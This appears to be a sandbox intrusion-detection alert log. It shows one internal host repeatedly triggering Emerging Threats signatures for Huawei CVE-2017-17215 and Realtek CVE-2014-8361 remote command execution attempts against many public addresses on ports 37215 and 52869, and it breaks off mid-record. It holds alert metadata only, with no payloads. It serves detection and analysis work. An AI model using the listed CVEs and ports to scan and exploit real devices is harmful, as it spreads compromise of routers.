Timestamp:	07/20/24-23:01:11.485692
SID:	2829579
Source Port:	58572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 146.250.115.112

Timestamp:	07/20/24-23:01:19.233961
SID:	2835222
Source Port:	43372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.12.119.250

Timestamp:	07/20/24-23:01:22.786757
SID:	2829579
Source Port:	59466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 109.148.201.214

Timestamp:	07/20/24-23:01:24.468357
SID:	2027339
Source Port:	41214
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 31.67.243.181

Timestamp:	07/20/24-23:01:25.281450
SID:	2829579
Source Port:	60678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 210.67.14.178

Timestamp:	07/20/24-23:01:32.960530
SID:	2025132
Source Port:	50292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 44.203.11.143

Timestamp:	07/20/24-23:01:34.940230
SID:	2027339
Source Port:	50294
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 99.76.24.125

Timestamp:	07/20/24-23:01:28.195717
SID:	2829579
Source Port:	43052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 122.197.102.121

Timestamp:	07/20/24-23:01:05.902118
SID:	2829579
Source Port:	39342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 45.166.78.170

Timestamp:	07/20/24-23:01:37.158916
SID:	2835222
Source Port:	45266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 163.184.63.212

Timestamp:	07/20/24-23:01:34.927043
SID:	2831300
Source Port:	50038
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.28.215.84

Timestamp:	07/20/24-23:01:28.170987
SID:	2829579
Source Port:	58226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 111.237.207.198

Timestamp:	07/20/24-23:01:25.196788
SID:	2027339
Source Port:	39890
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 70.48.172.224

Timestamp:	07/20/24-23:01:34.911761
SID:	2831300
Source Port:	47332
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 60.144.29.97

Timestamp:	07/20/24-23:01:13.330930
SID:	2027339
Source Port:	50994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.230.179.116

Timestamp:	07/20/24-23:01:14.407392
SID:	2829579
Source Port:	35672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.192.85.228

Timestamp:	07/20/24-23:01:28.200134
SID:	2829579
Source Port:	36806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 124.185.245.199

Timestamp:	07/20/24-23:01:34.931386
SID:	2027339
Source Port:	59206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.130.214.93

Timestamp:	07/20/24-23:01:33.100578
SID:	2829579
Source Port:	46072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.207.13.167

Timestamp:	07/20/24-23:01:07.672294
SID:	2829579
Source Port:	60386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.208.127.244

Timestamp:	07/20/24-23:01:02.405571
SID:	2829579
Source Port:	46206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.61.42.60

Timestamp:	07/20/24-23:01:33.038711
SID:	2835222
Source Port:	38034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 202.94.49.200

Timestamp:	07/20/24-23:01:29.703487
SID:	2025132
Source Port:	53464
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.101.109.84

Timestamp:	07/20/24-23:01:25.230742
SID:	2835222
Source Port:	56478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 111.100.170.105

Timestamp:	07/20/24-23:01:37.121494
SID:	2829579
Source Port:	33094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 169.172.43.160

Timestamp:	07/20/24-23:01:34.922466
SID:	2831300
Source Port:	54792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.178.113.254

Timestamp:	07/20/24-23:01:14.399761
SID:	2829579
Source Port:	52466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 71.165.43.178

Timestamp:	07/20/24-23:01:29.173099
SID:	2831300
Source Port:	36330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 168.49.16.106

Timestamp:	07/20/24-23:01:32.981292
SID:	2027339
Source Port:	53862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 101.71.112.133

Timestamp:	07/20/24-23:01:05.446481
SID:	2025132
Source Port:	38530
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.47.140.98

Timestamp:	07/20/24-23:01:33.050087
SID:	2829579
Source Port:	36160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.211.130.216

Timestamp:	07/20/24-23:01:07.676921
SID:	2835222
Source Port:	58484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.159.230.178

Timestamp:	07/20/24-23:01:14.397786
SID:	2829579
Source Port:	51238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.177.251.100

Timestamp:	07/20/24-23:01:28.142626
SID:	2835222
Source Port:	53982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 35.112.217.187

Timestamp:	07/20/24-23:01:06.656946
SID:	2025132
Source Port:	50930
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.218.123.179

Timestamp:	07/20/24-23:01:22.776061
SID:	2829579
Source Port:	48444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.53.34.158

Timestamp:	07/20/24-23:01:11.468893
SID:	2835222
Source Port:	40980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 9.1.245.191

Timestamp:	07/20/24-23:01:05.897173
SID:	2835222
Source Port:	38902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.210.10.61

Timestamp:	07/20/24-23:01:11.454990
SID:	2829579
Source Port:	49776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 2.229.175.12

Timestamp:	07/20/24-23:01:06.662973
SID:	2025132
Source Port:	42128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.234.33.66

Timestamp:	07/20/24-23:01:14.401003
SID:	2835222
Source Port:	59954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.228.227.70

Timestamp:	07/20/24-23:01:19.222596
SID:	2829579
Source Port:	48060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.40.48.20

Timestamp:	07/20/24-23:01:02.410515
SID:	2835222
Source Port:	57882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 27.74.90.8

Timestamp:	07/20/24-23:01:33.362728
SID:	2027339
Source Port:	37854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 197.75.140.61

Timestamp:	07/20/24-23:01:33.283267
SID:	2027339
Source Port:	50014
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 167.60.40.217

Timestamp:	07/20/24-23:01:06.249116
SID:	2027339
Source Port:	48580
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 17.165.228.4

Timestamp:	07/20/24-23:01:29.678255
SID:	2027339
Source Port:	56306
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.214.137.240

Timestamp:	07/20/24-23:01:19.225297
SID:	2835222
Source Port:	43860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.109.92.218

Timestamp:	07/20/24-23:01:37.217137
SID:	2829579
Source Port:	58804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 203.69.127.147

Timestamp:	07/20/24-23:01:28.211361
SID:	2835222
Source Port:	39664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 158.205.226.229

Timestamp:	07/20/24-23:01:22.784106
SID:	2829579
Source Port:	53074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 124.36.191.164

Timestamp:	07/20/24-23:01:34.209292
SID:	2027339
Source Port:	58368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 139.231.65.139

Timestamp:	07/20/24-23:01:34.899757
SID:	2831300
Source Port:	37728
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 85.70.210.244

Timestamp:	07/20/24-23:01:06.258144
SID:	2027339
Source Port:	57570
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.137.64.242

Timestamp:	07/20/24-23:01:25.231733
SID:	2829579
Source Port:	37616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 117.101.242.241

Timestamp:	07/20/24-23:01:29.725889
SID:	2027339
Source Port:	33378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.146.102.184

Timestamp:	07/20/24-23:01:02.440694
SID:	2829579
Source Port:	33668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.243.57.159

Timestamp:	07/20/24-23:01:02.411645
SID:	2835222
Source Port:	50160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 20.43.107.217

Timestamp:	07/20/24-23:01:13.329426
SID:	2027339
Source Port:	47872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 75.209.239.5

Timestamp:	07/20/24-23:01:29.187581
SID:	2831300
Source Port:	44206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 146.126.33.191

Timestamp:	07/20/24-23:01:13.331310
SID:	2027339
Source Port:	53118
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.223.113.217

Timestamp:	07/20/24-23:01:19.221490
SID:	2835222
Source Port:	33374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.97.200.193

Timestamp:	07/20/24-23:01:28.200134
SID:	2835222
Source Port:	60196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 160.160.84.223

Timestamp:	07/20/24-23:01:33.306736
SID:	2027339
Source Port:	53798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 181.57.234.228

Timestamp:	07/20/24-23:01:34.920870
SID:	2831300
Source Port:	45056
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.90.150.101

Timestamp:	07/20/24-23:01:11.454991
SID:	2829579
Source Port:	45242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.178.53.110

Timestamp:	07/20/24-23:01:14.398311
SID:	2829579
Source Port:	35924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.23.91.8

Timestamp:	07/20/24-23:01:25.230657
SID:	2829579
Source Port:	59772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 174.128.37.204

Timestamp:	07/20/24-23:01:33.049931
SID:	2829579
Source Port:	49380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 36.44.157.9

Timestamp:	07/20/24-23:01:13.333349
SID:	2027339
Source Port:	54312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 203.116.243.30

Timestamp:	07/20/24-23:01:34.920870
SID:	2027339
Source Port:	48002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.94.248.171

Timestamp:	07/20/24-23:01:28.214699
SID:	2829579
Source Port:	38494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 207.12.253.202

Timestamp:	07/20/24-23:01:07.668439
SID:	2829579
Source Port:	50102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.147.178.141

Timestamp:	07/20/24-23:01:11.460861
SID:	2835222
Source Port:	45892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.74.63.134

Timestamp:	07/20/24-23:01:02.411165
SID:	2829579
Source Port:	34462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 8.188.8.56

Timestamp:	07/20/24-23:01:13.334552
SID:	2831300
Source Port:	37954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 89.243.23.143

Timestamp:	07/20/24-23:01:25.037179
SID:	2025132
Source Port:	54966
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.76.38.210

Timestamp:	07/20/24-23:01:14.399761
SID:	2829579
Source Port:	55916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.136.193.143

Timestamp:	07/20/24-23:01:07.679354
SID:	2835222
Source Port:	59972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 84.167.36.221

Timestamp:	07/20/24-23:01:23.011785
SID:	2025132
Source Port:	55794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.196.31.171

Timestamp:	07/20/24-23:01:02.407178
SID:	2829579
Source Port:	55478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 19.5.103.108

Timestamp:	07/20/24-23:01:29.169846
SID:	2027339
Source Port:	45252
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 177.131.193.232

Timestamp:	07/20/24-23:01:34.700035
SID:	2025132
Source Port:	42272
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 115.41.130.186

Timestamp:	07/20/24-23:01:28.143148
SID:	2835222
Source Port:	39034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 80.229.248.142

Timestamp:	07/20/24-23:01:29.189808
SID:	2027339
Source Port:	50160
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 5.217.173.216

Timestamp:	07/20/24-23:01:13.329789
SID:	2831300
Source Port:	49504
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.212.43.89

Timestamp:	07/20/24-23:01:25.293652
SID:	2829579
Source Port:	35560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 196.41.223.61

Timestamp:	07/20/24-23:01:19.227537
SID:	2835222
Source Port:	36282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.253.2.101

Timestamp:	07/20/24-23:01:05.937693
SID:	2829579
Source Port:	54926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.56.29.180

Timestamp:	07/20/24-23:01:28.143529
SID:	2829579
Source Port:	47362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 171.144.139.139

Timestamp:	07/20/24-23:01:06.557950
SID:	2025132
Source Port:	38224
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.21.144.252

Timestamp:	07/20/24-23:01:07.680629
SID:	2835222
Source Port:	36036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.67.158.129

Timestamp:	07/20/24-23:01:33.036114
SID:	2835222
Source Port:	40892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 133.206.177.107

Timestamp:	07/20/24-23:01:11.448569
SID:	2829579
Source Port:	43070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.237.48.108

Timestamp:	07/20/24-23:01:37.128294
SID:	2829579
Source Port:	60936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 196.128.196.44

Timestamp:	07/20/24-23:01:24.830631
SID:	2027339
Source Port:	50650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 143.76.5.38

Timestamp:	07/20/24-23:01:32.461273
SID:	2025132
Source Port:	44016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.65.248.102

Timestamp:	07/20/24-23:01:05.895754
SID:	2835222
Source Port:	45276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.131.226.159

Timestamp:	07/20/24-23:01:07.674717
SID:	2835222
Source Port:	40506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 71.165.43.178

Timestamp:	07/20/24-23:01:24.479575
SID:	2027339
Source Port:	35758
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 174.117.157.2

Timestamp:	07/20/24-23:01:06.535488
SID:	2025132
Source Port:	58016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.60.168.137

Timestamp:	07/20/24-23:01:22.766451
SID:	2829579
Source Port:	55560
